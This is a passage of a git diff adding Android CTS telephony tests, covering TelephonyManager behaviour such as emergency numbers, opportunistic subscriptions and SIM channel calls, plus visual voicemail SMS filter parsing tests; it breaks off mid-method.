+     * Tests TelephonyManager.isPotentialEmergencyNumber.
+     */
+    @Test
+    public void testIsPotentialEmergencyNumber() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        String countryIso = mTelephonyManager.getNetworkCountryIso();
+        String potentialEmergencyAddress = "91112345";
+        // According to com.android.i18n.phonenumbers.ShortNumberInfo, in
+        // these countries, if extra digits are added to an emergency number,
+        // it no longer connects to the emergency service.
+        if (countryIso.equals("br") || countryIso.equals("cl") || countryIso.equals("ni")) {
+            assertFalse(ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    (tm) -> tm.isPotentialEmergencyNumber(potentialEmergencyAddress)));
+        } else {
+            assertTrue(ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    (tm) -> tm.isPotentialEmergencyNumber(potentialEmergencyAddress)));
+        }
+    }
+
+    /**
+     * Tests {@link TelephonyManager#getSupportedRadioAccessFamily()}
+     */
+    @Test
+    public void testGetRadioAccessFamily() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        long raf = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getSupportedRadioAccessFamily());
+        assertThat(raf).isNotEqualTo(TelephonyManager.NETWORK_TYPE_BITMASK_UNKNOWN);
+    }
+
+    private static void assertSetOpportunisticSubSuccess(int value) {
+        assertThat(value).isEqualTo(TelephonyManager.SET_OPPORTUNISTIC_SUB_SUCCESS);
+    }
+
+    private static void assertSetOpportunisticInvalidParameter(int value) {
+        assertThat(value).isEqualTo(TelephonyManager.SET_OPPORTUNISTIC_SUB_INACTIVE_SUBSCRIPTION);
+    }
+
+    /**
+     * Tests {@link TelephonyManager#setPreferredOpportunisticDataSubscription} and
+     * {@link TelephonyManager#getPreferredOpportunisticDataSubscription}
+     */
+    @Test
+    public void testPreferredOpportunisticDataSubscription() {
+        int randomSubId = 1;
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+            (tm) -> tm.setPreferredOpportunisticDataSubscription(
+                SubscriptionManager.DEFAULT_SUBSCRIPTION_ID, false,
+                null, null));
+        // wait for the data change to take effect
+        waitForMs(500);
+        int subId =
+            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getPreferredOpportunisticDataSubscription());
+        assertEquals(subId, SubscriptionManager.DEFAULT_SUBSCRIPTION_ID);
+        List<SubscriptionInfo> subscriptionInfoList =
+                    ShellIdentityUtils.invokeMethodWithShellPermissions(mSubscriptionManager,
+                            (tm) -> tm.getOpportunisticSubscriptions());
+        Consumer<Integer> callbackSuccess = TelephonyManagerTest::assertSetOpportunisticSubSuccess;
+        Consumer<Integer> callbackFailure =
+                TelephonyManagerTest::assertSetOpportunisticInvalidParameter;
+        if (subscriptionInfoList == null || subscriptionInfoList.size() == 0) {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setPreferredOpportunisticDataSubscription(randomSubId, false,
+                            AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+            // wait for the data change to take effect
+            waitForMs(500);
+            subId = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    (tm) -> tm.getPreferredOpportunisticDataSubscription());
+            assertEquals(subId, SubscriptionManager.DEFAULT_SUBSCRIPTION_ID);
+
+        } else {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.setPreferredOpportunisticDataSubscription(
+                            subscriptionInfoList.get(0).getSubscriptionId(), false,
+                            AsyncTask.SERIAL_EXECUTOR, callbackSuccess));
+            // wait for the data change to take effect
+            waitForMs(500);
+            subId = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getPreferredOpportunisticDataSubscription());
+            assertEquals(subId, subscriptionInfoList.get(0).getSubscriptionId());
+        }
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                (tm) -> tm.setPreferredOpportunisticDataSubscription(
+                        SubscriptionManager.DEFAULT_SUBSCRIPTION_ID, false,
+                        AsyncTask.SERIAL_EXECUTOR, callbackSuccess));
+        // wait for the data change to take effect
+        waitForMs(500);
+        subId = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+            (tm) -> tm.getPreferredOpportunisticDataSubscription());
+        assertEquals(subId, SubscriptionManager.DEFAULT_SUBSCRIPTION_ID);
+    }
+
+    private static void assertUpdateAvailableNetworkSuccess(int value) {
+        assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_SUCCESS);
+    }
+
+    private static void assertUpdateAvailableNetworkInvalidArguments(int value) {
+        assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS);
+    }
+
+    private static boolean checkIfEmergencyNumberListHasSpecificAddress(
+            List<EmergencyNumber> emergencyNumberList, String address) {
+        for (EmergencyNumber emergencyNumber : emergencyNumberList) {
+            if (address.equals(emergencyNumber.getNumber())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Tests {@link TelephonyManager#updateAvailableNetworks}
+     */
+    @Test
+    public void testUpdateAvailableNetworks() {
+        int randomSubId = 1;
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        List<SubscriptionInfo> subscriptionInfoList =
+            ShellIdentityUtils.invokeMethodWithShellPermissions(mSubscriptionManager,
+                (tm) -> tm.getOpportunisticSubscriptions());
+        List<String> mccMncs = new ArrayList<String>();
+        List<Integer> bands = new ArrayList<Integer>();
+        List<AvailableNetworkInfo> availableNetworkInfos = new ArrayList<AvailableNetworkInfo>();
+        Consumer<Integer> callbackSuccess =
+                TelephonyManagerTest::assertUpdateAvailableNetworkSuccess;
+        Consumer<Integer> callbackFailure =
+                TelephonyManagerTest::assertUpdateAvailableNetworkInvalidArguments;
+        if (subscriptionInfoList == null || subscriptionInfoList.size() == 0
+                || !mSubscriptionManager.isActiveSubscriptionId(
+                        subscriptionInfoList.get(0).getSubscriptionId())) {
+            AvailableNetworkInfo availableNetworkInfo = new AvailableNetworkInfo(randomSubId,
+                    AvailableNetworkInfo.PRIORITY_HIGH, mccMncs, bands);
+            availableNetworkInfos.add(availableNetworkInfo);
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.updateAvailableNetworks(availableNetworkInfos,
+                            AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+        } else {
+            AvailableNetworkInfo availableNetworkInfo = new AvailableNetworkInfo(
+                    subscriptionInfoList.get(0).getSubscriptionId(),
+                    AvailableNetworkInfo.PRIORITY_HIGH, mccMncs, bands);
+            availableNetworkInfos.add(availableNetworkInfo);
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.updateAvailableNetworks(availableNetworkInfos,
+                            AsyncTask.SERIAL_EXECUTOR, callbackSuccess));
+            availableNetworkInfos.clear();
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.updateAvailableNetworks(availableNetworkInfos,
+                            AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+        }
+    }
+
+    @Test
+    public void testIccOpenLogicalChannelBySlot() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // just verify no crash
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.iccOpenLogicalChannelBySlot(0, null, 0));
+        } catch (IllegalArgumentException e) {
+            // IllegalArgumentException is okay, just not SecurityException
+        }
+    }
+
+    @Test
+    public void testIccCloseLogicalChannelBySlot() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // just verify no crash
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.iccCloseLogicalChannelBySlot(0, 0));
+        } catch (IllegalArgumentException e) {
+            // IllegalArgumentException is okay, just not SecurityException
+        }
+    }
+
+    @Test
+    public void testIccTransmitApduLogicalChannelBySlot() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        int slotIndex = getValidSlotIndex();
+        String result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.iccTransmitApduLogicalChannelBySlot(
+                        slotIndex,
+                        0 /* channel */,
+                        0 /* cla */,
+                        0 /* instruction */,
+                        0 /* p1 */,
+                        0 /* p2 */,
+                        0 /* p3 */,
+                        null /* data */));
+        assertTrue(TextUtils.isEmpty(result));
+    }
+
+    @Test
+    public void testIccTransmitApduBasicChannelBySlot() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // just verify no crash
+        int slotIndex = getValidSlotIndex();
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.iccTransmitApduBasicChannelBySlot(
+                            slotIndex,
+                            0 /* cla */,
+                            0 /* instruction */,
+                            0 /* p1 */,
+                            0 /* p2 */,
+                            0 /* p3 */,
+                            null /* data */));
+        } catch (IllegalArgumentException e ) {
+            // IllegalArgumentException is okay, just not SecurityException
+        }
+    }
+
+    private int getValidSlotIndex() {
+        return ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    List<UiccCardInfo> cardInfos = mTelephonyManager.getUiccCardsInfo();
+                    Set<String> presentCards = Arrays.stream(mTelephonyManager.getUiccSlotsInfo())
+                            .filter(UiccSlotInfo::getIsActive)
+                            .map(UiccSlotInfo::getCardId)
+                            .filter(Objects::nonNull)
+                            // hack around getUiccSlotsInfo not stripping trailing F
+                            .map(s -> s.endsWith("F") ? s.substring(0, s.length() - 1) : s)
+                            .collect(Collectors.toSet());
+                    int slotIndex = -1;
+                    for (UiccCardInfo cardInfo : cardInfos) {
+                        if (presentCards.contains(cardInfo.getIccId())
+                                || presentCards.contains(cardInfo.getEid())) {
+                            slotIndex = cardInfo.getSlotIndex();
+                            break;
+                        }
+                    }
+                    if (slotIndex < 0) {
+                        fail("Test must be run with SIM card inserted, presentCards = "
+                                + presentCards + "cardinfos = " + cardInfos);
+                    }
+                    return slotIndex;
+                });
+    }
+
+    public static void waitForMs(long ms) {
+        try {
+            Thread.sleep(ms);
+        } catch (InterruptedException e) {
+            Log.d(TAG, "InterruptedException while waiting: " + e);
+        }
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/TelephonyUtils.java
rename to tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/VisualVoicemailServiceTest.java b/tests/tests/telephony/current/src/android/telephony/cts/VisualVoicemailServiceTest.java
new file mode 100644
index 0000000..2286b09
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/VisualVoicemailServiceTest.java
@@ -0,0 +1,762 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.database.sqlite.SQLiteException;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ParcelFileDescriptor;
+import android.provider.Telephony.Sms;
+import android.provider.Telephony.Sms.Intents;
+import androidx.annotation.Nullable;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+import android.telephony.SmsManager;
+import android.telephony.SmsMessage;
+import android.telephony.TelephonyManager;
+import android.telephony.VisualVoicemailSms;
+import android.telephony.VisualVoicemailSmsFilterSettings;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.ByteBuffer;
+import java.nio.charset.CharacterCodingException;
+import java.nio.charset.CharsetDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class VisualVoicemailServiceTest {
+
+    private static final String TAG = "VvmServiceTest";
+
+    private static final String COMMAND_SET_DEFAULT_DIALER = "telecom set-default-dialer ";
+
+    private static final String COMMAND_GET_DEFAULT_DIALER = "telecom get-default-dialer";
+
+    private static final String PACKAGE = "android.telephony.cts";
+
+    private static final long EVENT_RECEIVED_TIMEOUT_MILLIS = 60_000;
+    private static final long EVENT_NOT_RECEIVED_TIMEOUT_MILLIS = 1_000;
+
+    private Context mContext;
+    private TelephonyManager mTelephonyManager;
+
+    private String mPreviousDefaultDialer;
+
+    private PhoneAccountHandle mPhoneAccountHandle;
+    private String mPhoneNumber;
+
+    private SmsBroadcastReceiver mSmsReceiver;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getContext();
+        if (hasTelephony(mContext)) {
+            mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
+            setDefaultDialer(getInstrumentation(), PACKAGE);
+
+            TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
+            mPhoneAccountHandle = telecomManager
+                    .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
+            mPhoneNumber = telecomManager.getLine1Number(mPhoneAccountHandle);
+
+            mTelephonyManager = mContext.getSystemService(TelephonyManager.class)
+                    .createForPhoneAccountHandle(mPhoneAccountHandle);
+        }
+
+        PackageManager packageManager = mContext.getPackageManager();
+        packageManager.setComponentEnabledSetting(
+                new ComponentName(mContext, MockVisualVoicemailService.class),
+                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
+        packageManager.setComponentEnabledSetting(
+                new ComponentName(mContext, PermissionlessVisualVoicemailService.class),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (hasTelephony(mContext)) {
+            if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
+                setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
+            }
+
+            if (mSmsReceiver != null) {
+                mContext.unregisterReceiver(mSmsReceiver);
+            }
+        }
+    }
+
+    @Test
+    public void testPermissionlessService_ignored() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+
+        PackageManager packageManager = mContext.getPackageManager();
+        packageManager.setComponentEnabledSetting(
+                new ComponentName(mContext, MockVisualVoicemailService.class),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+        packageManager.setComponentEnabledSetting(
+                new ComponentName(mContext, PermissionlessVisualVoicemailService.class),
+                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
+        String clientPrefix = "//CTSVVM";
+        String text = "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1";
+
+        mTelephonyManager.setVisualVoicemailSmsFilterSettings(
+                new VisualVoicemailSmsFilterSettings.Builder()
+                        .setClientPrefix(clientPrefix)
+                        .build());
+
+        try {
+            mTelephonyManager
+                    .sendVisualVoicemailSms(mPhoneNumber, 0, text, null);
+            fail("SecurityException expected");
+        } catch (SecurityException e) {
+            // Expected
+        }
+
+        CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
+        PermissionlessVisualVoicemailService.setSmsFuture(future);
+
+        setupSmsReceiver(text);
+
+        SmsManager.getDefault().sendTextMessage(mPhoneNumber, null, text, null, null);
+
+        mSmsReceiver.assertReceived(EVENT_RECEIVED_TIMEOUT_MILLIS);
+        try {
+            future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            throw new RuntimeException("Unexpected visual voicemail SMS received");
+        } catch (TimeoutException e) {
+            // expected
+        } catch (ExecutionException | InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+
+    }
+
+    @Test
+    public void testFilter() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+
+        assertEquals("STATUS", result.getPrefix());
+        assertEquals("R", result.getFields().getString("st"));
+        assertEquals("0", result.getFields().getString("rc"));
+        assertEquals("1", result.getFields().getString("srv"));
+        assertEquals("1", result.getFields().getString("dn"));
+        assertEquals("1", result.getFields().getString("ipt"));
+        assertEquals("0", result.getFields().getString("spt"));
+        assertEquals("eg@example.com", result.getFields().getString("u"));
+        assertEquals("1", result.getFields().getString("pw"));
+    }
+
+    @Test
+    public void testFilter_data() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .build();
+        VisualVoicemailSms result = getSmsFromData(settings, (short) 1000,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", true);
+
+        assertEquals("STATUS", result.getPrefix());
+        assertEquals("R", result.getFields().getString("st"));
+        assertEquals("0", result.getFields().getString("rc"));
+        assertEquals("1", result.getFields().getString("srv"));
+        assertEquals("1", result.getFields().getString("dn"));
+        assertEquals("1", result.getFields().getString("ipt"));
+        assertEquals("0", result.getFields().getString("spt"));
+        assertEquals("eg@example.com", result.getFields().getString("u"));
+        assertEquals("1", result.getFields().getString("pw"));
+    }
+
+
+    @Test
+    public void testFilter_TrailingSemiColon() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1;");
+
+        assertEquals("STATUS", result.getPrefix());
+        assertEquals("R", result.getFields().getString("st"));
+        assertEquals("0", result.getFields().getString("rc"));
+        assertEquals("1", result.getFields().getString("srv"));
+        assertEquals("1", result.getFields().getString("dn"));
+        assertEquals("1", result.getFields().getString("ipt"));
+        assertEquals("0", result.getFields().getString("spt"));
+        assertEquals("eg@example.com", result.getFields().getString("u"));
+        assertEquals("1", result.getFields().getString("pw"));
+    }
+
+    @Test
+    public void testFilter_EmptyPrefix() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM::st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+
+        assertEquals("", result.getPrefix());
+        assertEquals("R", result.getFields().getString("st"));
+        assertEquals("0", result.getFields().getString("rc"));
+        assertEquals("1", result.getFields().getString("srv"));
+        assertEquals("1", result.getFields().getString("dn"));
+        assertEquals("1", result.getFields().getString("ipt"));
+        assertEquals("0", result.getFields().getString("spt"));
+        assertEquals("eg@example.com", result.getFields().getString("u"));
+        assertEquals("1", result.getFields().getString("pw"));
+    }
+
+    @Test
+    public void testFilter_EmptyField() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM:STATUS:");
+        assertTrue(result.getFields().isEmpty());
+    }
+
+    @Test
+    public void testFilterFail_NotVvm() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "helloworld");
+    }
+
+    @Test
+    public void testFilterFail_PrefixMismatch() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//FOOVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+    }
+
+    @Test
+    public void testFilterFail_MissingFirstColon() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVMSTATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+    }
+
+    @Test
+    public void testFilterFail_MissingSecondColon() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:STATUSst=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+    }
+
+    @Test
+    public void testFilterFail_MessageEndAfterClientPrefix() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:");
+    }
+
+    @Test
+    public void testFilterFail_MessageEndAfterPrefix() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:STATUS");
+    }
+
+    @Test
+    public void testFilterFail_InvalidKeyValuePair() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:STATUS:key");
+    }
+
+    @Test
+    public void testFilterFail_InvalidMissingKey() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:STATUS:=value");
+    }
+
+    @Test
+    public void testFilter_MissingValue() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM:STATUS:key=");
+        assertEquals("STATUS", result.getPrefix());
+        assertEquals("", result.getFields().getString("key"));
+    }
+
+    @Test
+    public void testFilter_originatingNumber_match_filtered() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setOriginatingNumbers(Arrays.asList(mPhoneNumber))
+                .build();
+
+        getSmsFromText(settings, "//CTSVVM:SYNC:key=value", true);
+    }
+
+    @Test
+    public void testFilter_originatingNumber_mismatch_notFiltered() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setOriginatingNumbers(Arrays.asList("1"))
+                .build();
+
+        getSmsFromText(settings, "//CTSVVM:SYNC:key=value", false);
+    }
+
+    @Test
+    public void testFilter_port_match() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setDestinationPort(1000)
+                .build();
+        getSmsFromData(settings, (short) 1000,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", true);
+    }
+
+    @Test
+    public void testFilter_port_mismatch() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setDestinationPort(1001)
+                .build();
+        getSmsFromData(settings, (short) 1000,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", false);
+    }
+
+    @Test
+    public void testFilter_port_anydata() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setDestinationPort(VisualVoicemailSmsFilterSettings.DESTINATION_PORT_DATA_SMS)
+                .build();
+        getSmsFromData(settings, (short) 1000,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", true);
+    }
+
+    /**
+     * Text SMS should not be filtered with DESTINATION_PORT_DATA_SMS
+     */
+    @Test
+    public void testFilter_port_anydata_notData() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setDestinationPort(VisualVoicemailSmsFilterSettings.DESTINATION_PORT_DATA_SMS)
+                .build();
+        getSmsFromText(settings,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", false);
+    }
+
+    @Test
+    public void testGetVisualVoicemailPackageName_isSelf() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertEquals(PACKAGE, mTelephonyManager.getVisualVoicemailPackageName());
+    }
+
+    private VisualVoicemailSms getSmsFromText(String clientPrefix, String text) {
+        return getSmsFromText(clientPrefix, text, true);
+    }
+
+    @Nullable
+    private VisualVoicemailSms getSmsFromText(String clientPrefix, String text,
+            boolean expectVvmSms) {
+        return getSmsFromText(
+                new VisualVoicemailSmsFilterSettings.Builder()
+                        .setClientPrefix(clientPrefix)
+                        .build(),
+                text,
+                expectVvmSms);
+    }
+
+    private void assertVisualVoicemailSmsNotReceived(String clientPrefix, String text) {
+        getSmsFromText(clientPrefix, text, false);
+    }
+
+    /**
+     * Setup the SMS filter with only the {@code clientPrefix}, and sends {@code text} to the
+     * device. The SMS sent should not be written to the SMS provider. <p> If {@code expectVvmSms}
+     * is {@code true}, the SMS should be be caught by the SMS filter. The user should not receive
+     * the text, and the parsed result will be returned.* <p> If {@code expectVvmSms} is {@code
+     * false}, the SMS should pass through the SMS filter. The user should receive the text, and
+     * {@code null} be returned.
+     */
+    @Nullable
+    private VisualVoicemailSms getSmsFromText(VisualVoicemailSmsFilterSettings settings,
+            String text,
+            boolean expectVvmSms) {
+
+        mTelephonyManager.setVisualVoicemailSmsFilterSettings(settings);
+
+        CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
+        MockVisualVoicemailService.setSmsFuture(future);
+
+        setupSmsReceiver(text);
+        try (SentSmsObserver observer = new SentSmsObserver(mContext, text)) {
+            mTelephonyManager
+                    .sendVisualVoicemailSms(mPhoneNumber,0, text, null);
+
+            if (expectVvmSms) {
+                VisualVoicemailSms sms;
+                try {
+                    sms = future.get(EVENT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+                } catch (InterruptedException | ExecutionException | TimeoutException e) {
+                    throw new RuntimeException(e);
+                }
+                mSmsReceiver.assertNotReceived(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS);
+                observer.assertNotChanged();
+                return sms;
+            } else {
+                mSmsReceiver.assertReceived(EVENT_RECEIVED_TIMEOUT_MILLIS);
+                try {
